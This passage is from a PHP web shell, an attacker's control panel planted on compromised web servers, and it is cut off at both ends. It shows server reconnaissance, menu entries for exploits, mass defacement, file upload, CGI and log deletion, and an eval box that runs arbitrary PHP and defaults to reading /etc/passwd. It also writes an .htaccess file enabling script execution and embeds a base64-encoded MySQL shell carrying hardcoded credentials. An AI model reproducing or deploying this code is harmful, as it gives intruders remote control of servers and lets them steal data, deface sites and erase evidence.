echo $buff = "PHP Version : <b><span style='font-size:10px'>".phpversion()."</b> on <b><span style='font-size:10px'>".php_sapi_name()."</b> <br>";
echo $buff = "Server IP : <b><span style='font-size:10px'>".$server_ip."</b> </b> | Client IP : <b><span style='font-size:10px'>".$my_ip."</b> |  Admin : <b><span style='font-size:10px'>".$admin_id."</b> | ";
echo $buff = "Free Disk: "."<span style='color:#00FF1E'><b><span style='font-size:10px'>".convertByte(disk_free_space("/"))." / <span style='font-size:10px'>".convertByte(disk_total_space("/"))."</b></span><br />";

if($safemode) 
echo $buff = "Safemode: <b><span style='font-size:10px'>ON</b>  <span style='color:#fff'>|</span>";
 else 
echo $buff = "Safemode: <b><span style='font-size:10px'>OFF</b> <span style='color:#fff'>|</span>";
echo $buff = "<span>MySQL: </span>".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>"; ;
?><span ><span style="color:#FF0000;">__________________________________________________________________</span>

</td></tr><tr>
<td style="text-align:center"><?php 
echo $buff = "<center><font color=FF0000 ><b><span style='font-size:10px'>".$letters."&nbsp;&gt;&nbsp;<span style='font-size:10px'>".$pwdurl."</b></font>";
 ?></td><td><html>
<head>
</head>
<body>


</html>

</span></a></td></tr><tr><td><html>
<head>
</head>
<body>



</html>
</td></tr></table></td><tr>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?><?php echo htmlentities($_SERVER['PHP_SELF']); ?>"><input type="button" value="Home"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=sesc"><input type="button" value="Server Security"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=tools"><input type="button" value="Tools"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit"><input type="button" value="Net Sploit"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=apa"><input type="button" value="Upload"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi4e"><input type="button" value="CGI"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=deltlogss"><input type="button" value="Logs"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass"><input  type="button" value="Mass Deface"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=about"><input type="button" value="About"></a>
<a href="?<?php echo "y=".$pwd;	?>&amp;x=logout"><input type="button" value="Log-Out"></a>
<a href="?<?php echo "y=".$pwd;	?>&amp;x=kill"><input type="button" value="Kill"></a>


<audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>

</div></center>
<!-- menu end -->

<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
	echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>

<?php } 

elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
    {
    ?>
	<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
<form action="?y=<?php echo $pwd; ?>&amp;x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#FF0000>+--==[ Mysql Interface ]==--+</font></b><br><br>";
  mkdir('mysql', 0755);
    chdir('mysql');
        $akses = ".htaccess";
        $buka_lah = "$akses";
        $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";    
        fwrite ( $buka , $metin ) ;
        fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJkNHJrajFuIjsNCiRVU0VSTkFNRSA9ICJibG9vZHNlY3VyaXR5IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgRDRya2oxbjwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWJHOW5iMjVmYzNWaWJXbDA+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01IGNlbGxzcGFjaW5nPTE+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5Ib3N0bmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3RuYW1lIHZhbHVlPSdsb2NhbGhvc3QnPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPlVzZXJuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWU+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+UGFzc3dvcmQgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzc3dvcmQ+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0VudGVyJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9cmVzZXQgdmFsdWU9J0NsZWFyJz48YnI+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uX3N1Ym1pdCgpIHsNCglnbG9iYWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOw0KCWlmKCRob3N0bmFtZSA9PScnKQ0KCQkkaG9zdG5hbWUgPSAnbG9jYWxob3N0JzsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiLCAkaG9zdG5hbWUgKTsNCgllY2hvICI8TUVUQSBIVFRQLUVRVUlWPVJlZnJlc2ggQ09OVEVOVD0nMDsgVVJMPSRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz4iOw0KfQ0KDQpmdW5jdGlvbiBlY2hvUXVlcnlSZXN1bHQoKSB7DQoJZ2xvYmFsICRxdWVyeVN0ciwgJGVyck1zZzsNCglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YWJsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSFBfU0VMRjsNCgllY2hvICI8aDE+RGF0YWJhc2VzIExpc3Q8L2gxPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1jcmVhdGVEQj5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0YWJhc2UnPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJJHBEQiA9IG15c3FsX2xpc3RfZGJzKCAkbXlzcWxIYW5kbGUgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwREIgKTsNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkkZGJuYW1lID0gbXlzcWxfZGJuYW1lKCAkcERCLCAkaSApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+JGRibmFtZTwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFtZT0kZGJuYW1lJz5UYWJsZXM8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5EdW1wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8L3RyPlxuIjsNCgl9DQoJZWNobyAiPC90YWJsZT5cbiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZURhdGFiYXNlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICRQSFBfU0VMRjsNCglteXNxbF9jcmVhdGVfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcERhdGFiYXNlKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICRQSFBfU0VMRjsNCglteXNxbF9kcm9wX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5UYWJsZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOw0KCWVjaG9RdWVyeVJlc3VsdCgpOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZVRhYmxlPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgVGFibGUnPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPXF1ZXJ5PlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTEyMCBuYW1lPXF1ZXJ5U3RyPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8aHI+XG4iOw0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOw0KCWlmKCAkcFRhYmxlID09IDAgKSB7DQoJCSRtc2cgID0gbXlzcWxfZXJyb3IoKTsNCgkJZWNobyAiPGgzPkVycm9yIDogJG1zZzwvaDM+PHA+XG4iOw0KCQlyZXR1cm47DQoJfQ0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBUYWJsZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIiR0YWJsZW5hbWVcbiI7DQoJCWVjaG8gIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+XG4iOw0KCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdTY2hlbWEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlNjaGVtYTwvYT5cbiI7DQoJCWVjaG8gIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+7PgXYiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUV